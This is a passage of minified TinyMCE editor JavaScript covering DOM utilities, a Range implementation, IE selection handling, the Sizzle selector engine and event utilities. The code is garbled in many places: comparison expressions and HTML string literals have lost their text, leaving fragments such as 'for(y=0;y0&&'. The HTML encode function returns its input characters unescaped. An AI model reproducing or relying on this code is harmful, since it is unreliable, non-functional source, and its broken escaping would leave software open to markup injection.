g;f=this.get(f);if(!f){return null}if(f.outerHTML!==undefined){return f.outerHTML}g=(f.ownerDocument||this.doc).createElement("body");g.appendChild(f.cloneNode(true));return g.innerHTML},setOuterHTML:function(j,g,k){var f=this;function i(m,l,p){var q,o;o=p.createElement("body");o.innerHTML=l;q=o.lastChild;while(q){f.insertAfter(q.cloneNode(true),m);q=q.previousSibling}f.remove(m)}return this.run(j,function(l){l=f.get(l);if(l.nodeType==1){k=k||l.ownerDocument||f.doc;if(a){try{if(a&&l.nodeType==1){l.outerHTML=g}else{i(l,g,k)}}catch(h){i(l,g,k)}}else{i(l,g,k)}}})},decode:function(g){var h,i,f;if(/&[^;]+;/.test(g)){h=this.doc.createElement("div");h.innerHTML=g;i=h.firstChild;f="";if(i){do{f+=i.nodeValue}while(i.nextSibling)}return f||g}return g},encode:function(f){return f?(""+f).replace(/[<>&\"]/g,function(h,g){switch(h){case"&":return"&";case'"':return""";case"<":return"<";case">":return">"}return h}):f},insertAfter:function(h,g){var f=this;g=f.get(g);return this.run(h,function(k){var j,i;j=g.parentNode;i=g.nextSibling;if(i){j.insertBefore(k,i)}else{j.appendChild(k)}return k})},isBlock:function(f){if(f.nodeType&&f.nodeType!==1){return false}f=f.nodeName||f;return/^(H[1-6]|HR|P|DIV|ADDRESS|PRE|FORM|TABLE|LI|OL|UL|TH|TBODY|TR|TD|CAPTION|BLOCKQUOTE|CENTER|DL|DT|DD|DIR|FIELDSET|NOSCRIPT|NOFRAMES|MENU|ISINDEX|SAMP)$/.test(f)},replace:function(i,h,f){var g=this;if(b(h,"array")){i=i.cloneNode(true)}return g.run(h,function(j){if(f){e(j.childNodes,function(k){i.appendChild(k.cloneNode(true))})}if(g.fixPsuedoLeaks&&j.nodeType===1){j.parentNode.insertBefore(i,j);g.remove(j);return i}return j.parentNode.replaceChild(i,j)})},findCommonAncestor:function(h,f){var i=h,g;while(i){g=f;while(g&&i!=g){g=g.parentNode}if(i==g){break}i=i.parentNode}if(!i&&h.ownerDocument){return h.ownerDocument.documentElement}return i},toHex:function(f){var h=/^\s*rgb\s*?\(\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?\)\s*$/i.exec(f);function g(i){i=parseInt(i).toString(16);return i.length>1?i:"0"+i}if(h){f="#"+g(h[1])+g(h[2])+g(h[3]);return f}return f},getClasses:function(){var l=this,g=[],k,m={},n=l.settings.class_filter,j;if(l.classes){return l.classes}function o(f){e(f.imports,function(i){o(i)});e(f.cssRules||f.rules,function(i){switch(i.type||1){case 1:if(i.selectorText){e(i.selectorText.split(","),function(p){p=p.replace(/^\s*|\s*$|^\s\./g,"");if(/\.mce/.test(p)||!/\.[\w\-]+$/.test(p)){return}j=p;p=p.replace(/.*\.([a-z0-9_\-]+).*/i,"$1");if(n&&!(p=n(p,j))){return}if(!m[p]){g.push({"class":p});m[p]=1}})}break;case 3:o(i.styleSheet);break}})}try{e(l.doc.styleSheets,o)}catch(h){}if(g.length>0){l.classes=g}return g},run:function(j,i,h){var g=this,k;if(g.doc&&typeof(j)==="string"){j=g.get(j)}if(!j){return false}h=h||this;if(!j.nodeType&&(j.length||j.length===0)){k=[];e(j,function(l,f){if(l){if(typeof(l)=="string"){l=g.doc.getElementById(l)}k.push(i.call(h,l,f))}});return k}return i.call(h,j)},getAttribs:function(g){var f;g=this.get(g);if(!g){return[]}if(a){f=[];if(g.nodeName=="OBJECT"){return g.attributes}if(g.nodeName==="OPTION"&&this.getAttrib(g,"selected")){f.push({specified:1,nodeName:"selected"})}g.cloneNode(false).outerHTML.replace(/<\/?[\w:]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=\w+|>/gi,"").replace(/[\w:]+/gi,function(h){f.push({specified:1,nodeName:h})});return f}return g.attributes},destroy:function(g){var f=this;if(f.events){f.events.destroy()}f.win=f.doc=f.root=f.events=null;if(!g){c.removeUnload(f.destroy)}},createRng:function(){var f=this.doc;return f.createRange?f.createRange():new c.dom.Range(this)},split:function(l,k,o){var p=this,f=p.createRng(),m,j,n;function g(r,q){r=r[q];if(r&&r[q]&&r[q].nodeType==1&&i(r[q])){p.remove(r[q])}}function i(q){q=p.getOuterHTML(q);q=q.replace(/<(img|hr|table)/gi,"-");q=q.replace(/<[^>]+>/g,"");return q.replace(/[ \t\r\n]+| | /g,"")==""}function h(r){var q=0;while(r.previousSibling){q++;r=r.previousSibling}return q}if(l&&k){f.setStart(l.parentNode,h(l));f.setEnd(k.parentNode,h(k));m=f.extractContents();f=p.createRng();f.setStart(k.parentNode,h(k)+1);f.setEnd(l.parentNode,h(l)+1);j=f.extractContents();n=l.parentNode;g(m,"lastChild");if(!i(m)){n.insertBefore(m,l)}if(o){n.replaceChild(o,k)}else{n.insertBefore(k,l)}g(j,"firstChild");if(!i(j)){n.insertBefore(j,l)}p.remove(l);return o||k}},bind:function(j,f,i,h){var g=this;if(!g.events){g.events=new c.dom.EventUtils()}return g.events.add(j,f,i,h||this)},unbind:function(i,f,h){var g=this;if(!g.events){g.events=new c.dom.EventUtils()}return g.events.remove(i,f,h)},_findSib:function(j,g,h){var i=this,k=g;if(j){if(b(k,"string")){k=function(f){return i.is(f,g)}}for(j=j[h];j;j=j[h]){if(k(j)){return j}}}return null},_isRes:function(f){return/^(top|left|bottom|right|width|height)/i.test(f)||/;\s*(top|left|bottom|right|width|height)/i.test(f)}});c.DOM=new c.dom.DOMUtils(document,{process_html:0})})(tinymce);(function(f){var h=0,c=1,e=2,d=tinymce.extend;function g(m,k){var j,l;if(m.parentNode!=k){return -1}for(l=k.firstChild,j=0;l!=m;l=l.nextSibling){j++}return j}function b(k){var j=0;while(k.previousSibling){j++;k=k.previousSibling}return j}function i(j,k){var l;if(j.nodeType==3){return j}if(k<0){return j}l=j.firstChild;while(l!=null&&k>0){--k;l=l.nextSibling}if(l!=null){return l}return j}function a(k){var j=k.doc;d(this,{dom:k,startContainer:j,startOffset:0,endContainer:j,endOffset:0,collapsed:true,commonAncestorContainer:j,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3})}d(a.prototype,{setStart:function(k,j){this._setEndPoint(true,k,j)},setEnd:function(k,j){this._setEndPoint(false,k,j)},setStartBefore:function(j){this.setStart(j.parentNode,b(j))},setStartAfter:function(j){this.setStart(j.parentNode,b(j)+1)},setEndBefore:function(j){this.setEnd(j.parentNode,b(j))},setEndAfter:function(j){this.setEnd(j.parentNode,b(j)+1)},collapse:function(k){var j=this;if(k){j.endContainer=j.startContainer;j.endOffset=j.startOffset}else{j.startContainer=j.endContainer;j.startOffset=j.endOffset}j.collapsed=true},selectNode:function(j){this.setStartBefore(j);this.setEndAfter(j)},selectNodeContents:function(j){this.setStart(j,0);this.setEnd(j,j.nodeType===1?j.childNodes.length:j.nodeValue.length)},compareBoundaryPoints:function(m,n){var l=this,p=l.startContainer,o=l.startOffset,k=l.endContainer,j=l.endOffset;if(m===0){return l._compareBoundaryPoints(p,o,p,o)}if(m===1){return l._compareBoundaryPoints(p,o,k,j)}if(m===2){return l._compareBoundaryPoints(k,j,k,j)}if(m===3){return l._compareBoundaryPoints(k,j,p,o)}},deleteContents:function(){this._traverse(e)},extractContents:function(){return this._traverse(h)},cloneContents:function(){return this._traverse(c)},insertNode:function(m){var j=this,l,k;if(m.nodeType===3||m.nodeType===4){l=j.startContainer.splitText(j.startOffset);j.startContainer.parentNode.insertBefore(m,l)}else{if(j.startContainer.childNodes.length>0){k=j.startContainer.childNodes[j.startOffset]}j.startContainer.insertBefore(m,k)}},surroundContents:function(l){var j=this,k=j.extractContents();j.insertNode(l);l.appendChild(k);j.selectNode(l)},cloneRange:function(){var j=this;return d(new a(j.dom),{startContainer:j.startContainer,startOffset:j.startOffset,endContainer:j.endContainer,endOffset:j.endOffset,collapsed:j.collapsed,commonAncestorContainer:j.commonAncestorContainer})},_isCollapsed:function(){return(this.startContainer==this.endContainer&&this.startOffset==this.endOffset)},_compareBoundaryPoints:function(m,p,k,o){var q,l,j,r,t,s;if(m==k){if(p==o){return 0}else{if(p0){l.collapse(k)}}l.collapsed=l._isCollapsed();l.commonAncestorContainer=l.dom.findCommonAncestor(l.startContainer,l.endContainer)},_traverse:function(r){var s=this,q,m=0,v=0,k,o,l,n,j,u;if(s.startContainer==s.endContainer){return s._traverseSameContainer(r)}for(q=s.endContainer,k=q.parentNode;k!=null;q=k,k=k.parentNode){if(k==s.startContainer){return s._traverseCommonStartContainer(q,r)}++m}for(q=s.startContainer,k=q.parentNode;k!=null;q=k,k=k.parentNode){if(k==s.endContainer){return s._traverseCommonEndContainer(q,r)}++v}o=v-m;l=s.startContainer;while(o>0){l=l.parentNode;o--}n=s.endContainer;while(o<0){n=n.parentNode;o++}for(j=l.parentNode,u=n.parentNode;j!=u;j=j.parentNode,u=u.parentNode){l=j;n=u}return s._traverseCommonAncestors(l,n,r)},_traverseSameContainer:function(o){var r=this,q,u,j,k,l,p,m;if(o!=e){q=r.dom.doc.createDocumentFragment()}if(r.startOffset==r.endOffset){return q}if(r.startContainer.nodeType==3){u=r.startContainer.nodeValue;j=u.substring(r.startOffset,r.endOffset);if(o!=c){r.startContainer.deleteData(r.startOffset,r.endOffset-r.startOffset);r.collapse(true)}if(o==e){return null}q.appendChild(r.dom.doc.createTextNode(j));return q}k=i(r.startContainer,r.startOffset);l=r.endOffset-r.startOffset;while(l>0){p=k.nextSibling;m=r._traverseFullySelected(k,o);if(q){q.appendChild(m)}--l;k=p}if(o!=c){r.collapse(true)}return q},_traverseCommonStartContainer:function(j,p){var s=this,r,k,l,m,q,o;if(p!=e){r=s.dom.doc.createDocumentFragment()}k=s._traverseRightBoundary(j,p);if(r){r.appendChild(k)}l=g(j,s.startContainer);m=l-s.startOffset;if(m<=0){if(p!=c){s.setEndBefore(j);s.collapse(false)}return r}k=j.previousSibling;while(m>0){q=k.previousSibling;o=s._traverseFullySelected(k,p);if(r){r.insertBefore(o,r.firstChild)}--m;k=q}if(p!=c){s.setEndBefore(j);s.collapse(false)}return r},_traverseCommonEndContainer:function(m,p){var s=this,r,o,j,k,q,l;if(p!=e){r=s.dom.doc.createDocumentFragment()}j=s._traverseLeftBoundary(m,p);if(r){r.appendChild(j)}o=g(m,s.endContainer);++o;k=s.endOffset-o;j=m.nextSibling;while(k>0){q=j.nextSibling;l=s._traverseFullySelected(j,p);if(r){r.appendChild(l)}--k;j=q}if(p!=c){s.setStartAfter(m);s.collapse(true)}return r},_traverseCommonAncestors:function(p,j,s){var w=this,l,v,o,q,r,k,u,m;if(s!=e){v=w.dom.doc.createDocumentFragment()}l=w._traverseLeftBoundary(p,s);if(v){v.appendChild(l)}o=p.parentNode;q=g(p,o);r=g(j,o);++q;k=r-q;u=p.nextSibling;while(k>0){m=u.nextSibling;l=w._traverseFullySelected(u,s);if(v){v.appendChild(l)}u=m;--k}l=w._traverseRightBoundary(j,s);if(v){v.appendChild(l)}if(s!=c){w.setStartAfter(p);w.collapse(true)}return v},_traverseRightBoundary:function(p,q){var s=this,l=i(s.endContainer,s.endOffset-1),r,o,n,j,k;var m=l!=s.endContainer;if(l==p){return s._traverseNode(l,m,false,q)}r=l.parentNode;o=s._traverseNode(r,false,false,q);while(r!=null){while(l!=null){n=l.previousSibling;j=s._traverseNode(l,m,false,q);if(q!=e){o.insertBefore(j,o.firstChild)}m=true;l=n}if(r==p){return o}l=r.previousSibling;r=r.parentNode;k=s._traverseNode(r,false,false,q);if(q!=e){k.appendChild(o)}o=k}return null},_traverseLeftBoundary:function(p,q){var s=this,m=i(s.startContainer,s.startOffset);var n=m!=s.startContainer,r,o,l,j,k;if(m==p){return s._traverseNode(m,n,true,q)}r=m.parentNode;o=s._traverseNode(r,false,true,q);while(r!=null){while(m!=null){l=m.nextSibling;j=s._traverseNode(m,n,true,q);if(q!=e){o.appendChild(j)}n=true;m=l}if(r==p){return o}m=r.nextSibling;r=r.parentNode;k=s._traverseNode(r,false,true,q);if(q!=e){k.appendChild(o)}o=k}return null},_traverseNode:function(j,o,r,s){var u=this,m,l,p,k,q;if(o){return u._traverseFullySelected(j,s)}if(j.nodeType==3){m=j.nodeValue;if(r){k=u.startOffset;l=m.substring(k);p=m.substring(0,k)}else{k=u.endOffset;l=m.substring(0,k);p=m.substring(k)}if(s!=c){j.nodeValue=p}if(s==e){return null}q=j.cloneNode(false);q.nodeValue=l;return q}if(s==e){return null}return j.cloneNode(false)},_traverseFullySelected:function(l,k){var j=this;if(k!=e){return k==c?l.cloneNode(true):l}l.parentNode.removeChild(l);return null}});f.Range=a})(tinymce.dom);(function(){function a(e){var d=this,h="\uFEFF",b,g;function c(j,i){if(j&&i){if(j.item&&i.item&&j.item(0)===i.item(0)){return 1}if(j.isEqual&&i.isEqual&&i.isEqual(j)){return 1}}return 0}function f(){var m=e.dom,j=e.getRng(),s=m.createRng(),p,k,n,q,o,l;function i(v){var t=v.parentNode.childNodes,u;for(u=t.length-1;u>=0;u--){if(t[u]==v){return u}}return -1}function r(v){var t=j.duplicate(),B,y,u,w,x=0,z=0,A,C;t.collapse(v);B=t.parentElement();t.pasteHTML(h);u=B.childNodes;for(y=0;y0&&(w.nodeType!==3||u[y-1].nodeType!==3)){z++}if(w.nodeType===3){A=w.nodeValue.indexOf(h);if(A!==-1){x+=A;break}x+=w.nodeValue.length}else{x=0}}t.moveStart("character",-1);t.text="";return{index:z,offset:x,parent:B}}n=j.item?j.item(0):j.parentElement();if(n.ownerDocument!=m.doc){return s}if(j.item||!n.hasChildNodes()){s.setStart(n.parentNode,i(n));s.setEnd(s.startContainer,s.startOffset+1);return s}l=e.isCollapsed();p=r(true);k=r(false);p.parent.normalize();k.parent.normalize();q=p.parent.childNodes[Math.min(p.index,p.parent.childNodes.length-1)];if(q.nodeType!=3){s.setStart(p.parent,p.index)}else{s.setStart(p.parent.childNodes[p.index],p.offset)}o=k.parent.childNodes[Math.min(k.index,k.parent.childNodes.length-1)];if(o.nodeType!=3){if(!l){k.index++}s.setEnd(k.parent,k.index)}else{s.setEnd(k.parent.childNodes[k.index],k.offset)}if(!l){q=s.startContainer;if(q.nodeType==1){s.setStart(q,Math.min(s.startOffset,q.childNodes.length))}o=s.endContainer;if(o.nodeType==1){s.setEnd(o,Math.min(s.endOffset,o.childNodes.length))}}d.addRange(s);return s}this.addRange=function(j){var o,m=e.dom.doc.body,p,k,q,l,n,i;q=j.startContainer;l=j.startOffset;n=j.endContainer;i=j.endOffset;o=m.createTextRange();q=q.nodeType==1?q.childNodes[Math.min(l,q.childNodes.length-1)]:q;n=n.nodeType==1?n.childNodes[Math.min(l==i?i:i-1,n.childNodes.length-1)]:n;if(q==n&&q.nodeType==1){if(/^(IMG|TABLE)$/.test(q.nodeName)&&l!=i){o=m.createControlRange();o.addElement(q)}else{o=m.createTextRange();if(!q.hasChildNodes()&&q.canHaveHTML){q.innerHTML=h}o.moveToElementText(q);if(q.innerHTML==h){o.collapse(true);q.removeChild(q.firstChild)}}if(l==i){o.collapse(i<=j.endContainer.childNodes.length-1)}o.select();return}function r(t,v){var u,s,w;if(t.nodeType!=3){return -1}u=t.nodeValue;s=m.createTextRange();t.nodeValue=u.substring(0,v)+h+u.substring(v);s.moveToElementText(t.parentNode);s.findText(h);w=Math.abs(s.moveStart("character",-1048575));t.nodeValue=u;return w}if(j.collapsed){pos=r(q,l);o=m.createTextRange();o.move("character",pos);o.select();return}else{if(q==n&&q.nodeType==3){p=r(q,l);o=m.createTextRange();o.move("character",p);o.moveEnd("character",i-l);o.select();return}p=r(q,l);k=r(n,i);o=m.createTextRange();if(p==-1){o.moveToElementText(q);p=0}else{o.move("character",p)}tmpRng=m.createTextRange();if(k==-1){tmpRng.moveToElementText(n)}else{tmpRng.move("character",k)}o.setEndPoint("EndToEnd",tmpRng);o.select();return}};this.getRangeAt=function(){if(!b||!c(g,e.getRng())){b=f();g=e.getRng()}return b};this.destroy=function(){g=b=null}}tinymce.dom.TridentSelection=a})();(function(){var p=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,i=0,d=Object.prototype.toString,n=false;var b=function(D,t,A,v){A=A||[];var e=t=t||document;if(t.nodeType!==1&&t.nodeType!==9){return[]}if(!D||typeof D!=="string"){return A}var B=[],C,y,G,F,z,s,r=true,w=o(t);p.lastIndex=0;while((C=p.exec(D))!==null){B.push(C[1]);if(C[2]){s=RegExp.rightContext;break}}if(B.length>1&&j.exec(D)){if(B.length===2&&f.relative[B[0]]){y=g(B[0]+B[1],t)}else{y=f.relative[B[0]]?[t]:b(B.shift(),t);while(B.length){D=B.shift();if(f.relative[D]){D+=B.shift()}y=g(D,y)}}}else{if(!v&&B.length>1&&t.nodeType===9&&!w&&f.match.ID.test(B[0])&&!f.match.ID.test(B[B.length-1])){var H=b.find(B.shift(),t,w);t=H.expr?b.filter(H.expr,H.set)[0]:H.set[0]}if(t){var H=v?{expr:B.pop(),set:a(v)}:b.find(B.pop(),B.length===1&&(B[0]==="~"||B[0]==="+")&&t.parentNode?t.parentNode:t,w);y=H.expr?b.filter(H.expr,H.set):H.set;if(B.length>0){G=a(y)}else{r=false}while(B.length){var u=B.pop(),x=u;if(!f.relative[u]){u=""}else{x=B.pop()}if(x==null){x=t}f.relative[u](G,x,w)}}else{G=B=[]}}if(!G){G=y}if(!G){throw"Syntax error, unrecognized expression: "+(u||D)}if(d.call(G)==="[object Array]"){if(!r){A.push.apply(A,G)}else{if(t&&t.nodeType===1){for(var E=0;G[E]!=null;E++){if(G[E]&&(G[E]===true||G[E].nodeType===1&&h(t,G[E]))){A.push(y[E])}}}else{for(var E=0;G[E]!=null;E++){if(G[E]&&G[E].nodeType===1){A.push(y[E])}}}}}else{a(G,A)}if(s){b(s,e,A,v);b.uniqueSort(A)}return A};b.uniqueSort=function(r){if(c){n=false;r.sort(c);if(n){for(var e=1;e":function(w,r,x){var u=typeof r==="string";if(u&&!/\W/.test(r)){r=x?r:r.toUpperCase();for(var s=0,e=w.length;s=0)){if(!s){e.push(v)}}else{if(s){r[u]=false}}}}return false},ID:function(e){return e[1].replace(/\\/g,"")},TAG:function(r,e){for(var s=0;e[s]===false;s++){}return e[s]&&o(e[s])?r[1]:r[1].toUpperCase()},CHILD:function(e){if(e[1]=="nth"){var r=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(e[2]=="even"&&"2n"||e[2]=="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=(r[1]+(r[2]||1))-0;e[3]=r[3]-0}e[0]=i++;return e},ATTR:function(u,r,s,e,v,w){var t=u[1].replace(/\\/g,"");if(!w&&f.attrMap[t]){u[1]=f.attrMap[t]}if(u[2]==="~="){u[4]=" "+u[4]+" "}return u},PSEUDO:function(u,r,s,e,v){if(u[1]==="not"){if(u[3].match(p).length>1||/^\w/.test(u[3])){u[3]=b(u[3],null,null,r)}else{var t=b.filter(u[3],r,s,true^v);if(!s){e.push.apply(e,t)}return false}}else{if(f.match.POS.test(u[0])||f.match.CHILD.test(u[0])){return true}}return u},POS:function(e){e.unshift(true);return e}},filters:{enabled:function(e){return e.disabled===false&&e.type!=="hidden"},disabled:function(e){return e.disabled===true},checked:function(e){return e.checked===true},selected:function(e){e.parentNode.selectedIndex;return e.selected===true},parent:function(e){return !!e.firstChild},empty:function(e){return !e.firstChild},has:function(s,r,e){return !!b(e[3],s).length},header:function(e){return/h\d/i.test(e.nodeName)},text:function(e){return"text"===e.type},radio:function(e){return"radio"===e.type},checkbox:function(e){return"checkbox"===e.type},file:function(e){return"file"===e.type},password:function(e){return"password"===e.type},submit:function(e){return"submit"===e.type},image:function(e){return"image"===e.type},reset:function(e){return"reset"===e.type},button:function(e){return"button"===e.type||e.nodeName.toUpperCase()==="BUTTON"},input:function(e){return/input|select|textarea|button/i.test(e.nodeName)}},setFilters:{first:function(r,e){return e===0},last:function(s,r,e,t){return r===t.length-1},even:function(r,e){return e%2===0},odd:function(r,e){return e%2===1},lt:function(s,r,e){return re[3]-0},nth:function(s,r,e){return e[3]-0==r},eq:function(s,r,e){return e[3]-0==r}},filter:{PSEUDO:function(w,s,t,x){var r=s[1],u=f.filters[r];if(u){return u(w,t,s,x)}else{if(r==="contains"){return(w.textContent||w.innerText||"").indexOf(s[3])>=0}else{if(r==="not"){var v=s[3];for(var t=0,e=v.length;t=0)}}},ID:function(r,e){return r.nodeType===1&&r.getAttribute("id")===e},TAG:function(r,e){return(e==="*"&&r.nodeType===1)||r.nodeName===e},CLASS:function(r,e){return(" "+(r.className||r.getAttribute("class"))+" ").indexOf(e)>-1},ATTR:function(v,t){var s=t[1],e=f.attrHandle[s]?f.attrHandle[s](v):v[s]!=null?v[s]:v.getAttribute(s),w=e+"",u=t[2],r=t[4];return e==null?u==="!=":u==="="?w===r:u==="*="?w.indexOf(r)>=0:u==="~="?(" "+w+" ").indexOf(r)>=0:!r?w&&e!==false:u==="!="?w!=r:u==="^="?w.indexOf(r)===0:u==="$="?w.substr(w.length-r.length)===r:u==="|="?w===r||w.substr(0,r.length+1)===r+"-":false},POS:function(u,r,s,v){var e=r[2],t=f.setFilters[e];if(t){return t(u,s,r,v)}}}};var j=f.match.POS;for(var l in f.match){f.match[l]=new RegExp(f.match[l].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var a=function(r,e){r=Array.prototype.slice.call(r);if(e){e.push.apply(e,r);return e}return r};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(k){a=function(u,t){var r=t||[];if(d.call(u)==="[object Array]"){Array.prototype.push.apply(r,u)}else{if(typeof u.length==="number"){for(var s=0,e=u.length;s";var e=document.documentElement;e.insertBefore(r,e.firstChild);if(!!document.getElementById(s)){f.find.ID=function(u,v,w){if(typeof v.getElementById!=="undefined"&&!w){var t=v.getElementById(u[1]);return t?t.id===u[1]||typeof t.getAttributeNode!=="undefined"&&t.getAttributeNode("id").nodeValue===u[1]?[t]:undefined:[]}};f.filter.ID=function(v,t){var u=typeof v.getAttributeNode!=="undefined"&&v.getAttributeNode("id");return v.nodeType===1&&u&&u.nodeValue===t}}e.removeChild(r)})();(function(){var e=document.createElement("div");e.appendChild(document.createComment(""));if(e.getElementsByTagName("*").length>0){f.find.TAG=function(r,v){var u=v.getElementsByTagName(r[1]);if(r[1]==="*"){var t=[];for(var s=0;u[s];s++){if(u[s].nodeType===1){t.push(u[s])}}u=t}return u}}e.innerHTML="";if(e.firstChild&&typeof e.firstChild.getAttribute!=="undefined"&&e.firstChild.getAttribute("href")!=="#"){f.attrHandle.href=function(r){return r.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var e=b,s=document.createElement("div");s.innerHTML="

    ";if(s.querySelectorAll&&s.querySelectorAll(".TEST").length===0){return}b=function(w,v,t,u){v=v||document;if(!u&&v.nodeType===9&&!o(v)){try{return a(v.querySelectorAll(w),t)}catch(x){}}return e(w,v,t,u)};for(var r in e){b[r]=e[r]}})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var e=document.createElement("div");e.innerHTML="
    ";if(e.getElementsByClassName("e").length===0){return}e.lastChild.className="e";if(e.getElementsByClassName("e").length===1){return}f.order.splice(1,0,"CLASS");f.find.CLASS=function(r,s,t){if(typeof s.getElementsByClassName!=="undefined"&&!t){return s.getElementsByClassName(r[1])}}})()}function m(r,w,v,A,x,z){var y=r=="previousSibling"&&!z;for(var t=0,s=A.length;t0){u=e;break}}}e=e[r]}A[t]=u}}}var h=document.compareDocumentPosition?function(r,e){return r.compareDocumentPosition(e)&16}:function(r,e){return r!==e&&(r.contains?r.contains(e):true)};var o=function(e){return e.nodeType===9&&e.documentElement.nodeName!=="HTML"||!!e.ownerDocument&&e.ownerDocument.documentElement.nodeName!=="HTML"};var g=function(e,x){var t=[],u="",v,s=x.nodeType?[x]:x;while((v=f.match.PSEUDO.exec(e))){u+=v[0];e=e.replace(f.match.PSEUDO,"")}e=f.relative[e]?e+"*":e;for(var w=0,r=s.length;w=0;h--){k=g[h];if(k.obj===l){j._remove(k.obj,k.name,k.cfunc);k.obj=k.cfunc=null;g.splice(h,1)}}}},cancel:function(g){if(!g){return false}this.stop(g);return this.prevent(g)},stop:function(g){if(g.stopPropagation){g.stopPropagation()}else{g.cancelBubble=true}return false},prevent:function(g){if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false},destroy:function(){var g=this;f(g.events,function(j,h){g._remove(j.obj,j.name,j.cfunc);j.obj=j.cfunc=null});g.events=[];g=null},_add:function(h,i,g){if(h.attachEvent){h.attachEvent("on"+i,g)}else{if(h.addEventListener){h.addEventListener(i,g,false)}else{h["on"+i]=g}}},_remove:function(i,j,h){if(i){try{if(i.detachEvent){i.detachEvent("on"+j,h)}else{if(i.removeEventListener){i.removeEventListener(j,h,false)}else{i["on"+j]=null}}}catch(g){}}},_pageInit:function(h){var g=this;if(g.domLoaded){return}g.domLoaded=true;f(g.inits,function(i){i()});g.inits=[]},_wait:function(i){var g=this,h=i.document;if(i.tinyMCE_GZ&&tinyMCE_GZ.loaded){g.domLoaded=1;return}if(h.attachEvent){h.attachEvent("onreadystatechange",function(){if(h.readyState==="complete"){h.detachEvent("onreadystatechange",arguments.callee);g._pageInit(i)}});if(h.documentElement.doScroll&&i==i.top){(function(){if(g.domLoaded){return}try{h.documentElement.doScroll("left")}catch(j){setTimeout(arguments.callee,0);return}g._pageInit(i)})()}}else{if(h.addEventListener){g._add(i,"DOMContentLoaded",function(){g._pageInit(i)})}}g._add(i,"load",function(){g._pageInit(i)})},_stoppers:{preventDefault:function(){this.returnValue=false},stopPropagation:function(){this.cancelBubble=true}}});a=d.dom.Event=new d.dom.EventUtils();a._wait(window);d.addUnload(function(){a.destroy()})})(tinymce);(function(a){var b=a.each;a.create("tinymce.dom.Element",{Element:function(g,e){var c=this,f,d;e=e||{};c.id=g;c.dom=f=e.dom||a.DOM;c.settings=e;if(!a.isIE){d=c.dom.get(c.id)}b(["getPos","getRect","getParent","add","setStyle","getStyle","setStyles","setAttrib","setAttribs","getAttrib","addClass","removeClass","hasClass","getOuterHTML","setOuterHTML","remove","show","hide","isHidden","setHTML","get"],function(h){c[h]=function(){var j=[g],k;for(k=0;k_';j.deleteContents();j.insertNode(f.getRng().createContextualFragment(i));l=f.dom.get("__caret");j=k.createRange();j.setStartBefore(l);j.setEndAfter(l);f.setRng(j);f.dom.remove("__caret")}else{if(j.item){k.execCommand("Delete",false,null);j=f.getRng()}j.pasteHTML(i)}f.onSetContent.dispatch(f,g)},getStart:function(){var f=this,g=f.getRng(),h;if(a){if(g.item){return g.item(0)}g=g.duplicate();g.collapse(1);h=g.parentElement();if(h&&h.nodeName=="BODY"){return h.firstChild}return h}else{h=g.startContainer;if(h.nodeName=="BODY"){return h.firstChild}return f.dom.getParent(h,"*")}},getEnd:function(){var f=this,g=f.getRng(),h;if(a){if(g.item){return g.item(0)}g=g.duplicate();g.collapse(0);h=g.parentElement();if(h&&h.nodeName=="BODY"){return h.lastChild}return h}else{h=g.endContainer;if(h.nodeName=="BODY"){return h.lastChild}return f.dom.getParent(h,"*")}},getBookmark:function(x){var j=this,m=j.getRng(),f,n,l,u=j.dom.getViewPort(j.win),v,p,z,o,w=-16777215,k,h=j.dom.getRoot(),g=0,i=0,y;n=u.x;l=u.y;if(x){return{rng:m,scrollX:n,scrollY:l}}if(a){if(m.item){v=m.item(0);d(j.dom.select(v.nodeName),function(s,r){if(v==s){p=r;return false}});return{tag:v.nodeName,index:p,scrollX:n,scrollY:l}}f=j.dom.doc.body.createTextRange();f.moveToElementText(h);f.collapse(true);z=Math.abs(f.move("character",w));f=m.duplicate();f.collapse(true);p=Math.abs(f.move("character",w));f=m.duplicate();f.collapse(false);o=Math.abs(f.move("character",w))-p;return{start:p-z,length:o,scrollX:n,scrollY:l}}v=j.getNode();k=j.getSel();if(!k){return null}if(v&&v.nodeName=="IMG"){return{scrollX:n,scrollY:l}}function q(A,D,t){var s=j.dom.doc.createTreeWalker(A,NodeFilter.SHOW_TEXT,null,false),E,B=0,C={};while((E=s.nextNode())!=null){if(E==D){C.start=B}if(E==t){C.end=B;return C}B+=e(E.nodeValue||"").length}return null}if(k.anchorNode==k.focusNode&&k.anchorOffset==k.focusOffset){v=q(h,k.anchorNode,k.focusNode);if(!v){return{scrollX:n,scrollY:l}}e(k.anchorNode.nodeValue||"").replace(/^\s+/,function(r){g=r.length});return{start:Math.max(v.start+k.anchorOffset-g,0),end:Math.max(v.end+k.focusOffset-g,0),scrollX:n,scrollY:l,beg:k.anchorOffset-g==0}}else{v=q(h,m.startContainer,m.endContainer);if(!v){return{scrollX:n,scrollY:l}}return{start:Math.max(v.start+m.startOffset-g,0),end:Math.max(v.end+m.endOffset-i,0),scrollX:n,scrollY:l,beg:m.startOffset-g==0}}},moveToBookmark:function(n){var o=this,g=o.getRng(),p=o.getSel(),j=o.dom.getRoot(),m,h,k;function i(q,t,D){var B=o.dom.doc.createTreeWalker(q,NodeFilter.SHOW_TEXT,null,false),x,s=0,A={},u,C,z,y;while((x=B.nextNode())!=null){z=y=0;k=x.nodeValue||"";h=e(k).length;s+=h;if(s>=t&&!A.startNode){u=t-(s-h);if(n.beg&&u>=h){continue}A.startNode=x;A.startOffset=u+y}if(s>=D){A.endNode=x;A.endOffset=D-(s-h)+y;return A}}return null}if(!n){return false}o.win.scrollTo(n.scrollX,n.scrollY);if(a){o.tridentSel.destroy();if(g=n.rng){try{g.select()}catch(l){}return true}o.win.focus();if(n.tag){g=j.createControlRange();d(o.dom.select(n.tag),function(r,q){if(q==n.index){g.addElement(r)}})}else{try{if(n.start<0){return 